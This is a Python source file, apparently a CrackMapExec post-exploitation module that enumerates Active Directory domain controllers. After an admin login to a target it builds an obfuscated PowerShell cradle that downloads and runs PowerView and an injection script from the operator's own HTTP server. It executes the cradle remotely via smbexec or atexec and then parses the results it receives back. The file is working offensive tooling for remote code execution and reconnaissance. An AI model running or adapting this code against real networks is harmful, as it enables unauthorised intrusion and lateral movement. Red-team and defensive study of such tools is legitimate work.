84 lines
3.3 KiB
Python
84 lines
3.3 KiB
Python
from cme.helpers.powershell import *
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from cme.helpers.logger import write_log, highlight
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from datetime import datetime
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from StringIO import StringIO
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class CMEModule:
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name = 'get_netdomaincontroller'
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description = "Enumerates all domain controllers"
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supported_protocols = ['smb', 'mssql']
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opsec_safe = True
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multiple_hosts = False
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def options(self, context, module_options):
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'''
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INJECT If set to true, this allows PowerView to work over 'stealthier' execution methods which have non-interactive contexts (e.g. WMI) (default: True)
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'''
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self.exec_methods = ['smbexec', 'atexec']
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self.inject = True
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if 'INJECT' in module_options:
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self.inject = bool(module_options['INJECT'])
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if self.inject: self.exec_methods = None
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self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
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self.ps_script2 = obfs_ps_script('powersploit/Recon/PowerView.ps1')
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def on_admin_login(self, context, connection):
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command = 'Get-NetDomainController | select Name,Domain,IPAddress | Out-String'
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launcher = gen_ps_iex_cradle(context, 'PowerView.ps1', command)
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if self.inject:
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launcher = gen_ps_inject(launcher, context, inject_once=True)
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connection.ps_execute(launcher, methods=self.exec_methods)
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context.log.success('Executed launcher')
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def on_request(self, context, request):
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if 'Invoke-PSInject.ps1' == request.path[1:]:
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request.send_response(200)
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request.end_headers()
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request.wfile.write(self.ps_script1)
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elif 'PowerView.ps1' == request.path[1:]:
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request.send_response(200)
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request.end_headers()
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request.wfile.write(self.ps_script2)
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else:
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request.send_response(404)
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request.end_headers()
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def on_response(self, context, response):
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response.send_response(200)
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response.end_headers()
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length = int(response.headers.getheader('content-length'))
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data = response.rfile.read(length)
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#We've received the response, stop tracking this host
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response.stop_tracking_host()
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dc_count = 0
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if len(data):
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buf = StringIO(data).readlines()
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for line in buf:
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if line != '\r\n' and not line.startswith('Name') and not line.startswith('---'):
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try:
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hostname, domain, ip = filter(None, line.strip().split(' '))
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hostname = hostname.split('.')[0].upper()
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domain = domain.split('.')[0].upper()
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context.log.highlight('Hostname: {} Domain: {} IP: {}'.format(hostname, domain, ip))
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context.db.add_computer(ip, hostname, domain, '', dc=True)
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dc_count += 1
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except Exception:
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context.log.error('Error parsing Domain Controller entry')
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context.log.success('Added {} Domain Controllers to the database'.format(highlight(dc_count)))
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log_name = 'Get_NetDomainController-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
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write_log(data, log_name)
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context.log.info("Saved raw output to {}".format(log_name)) |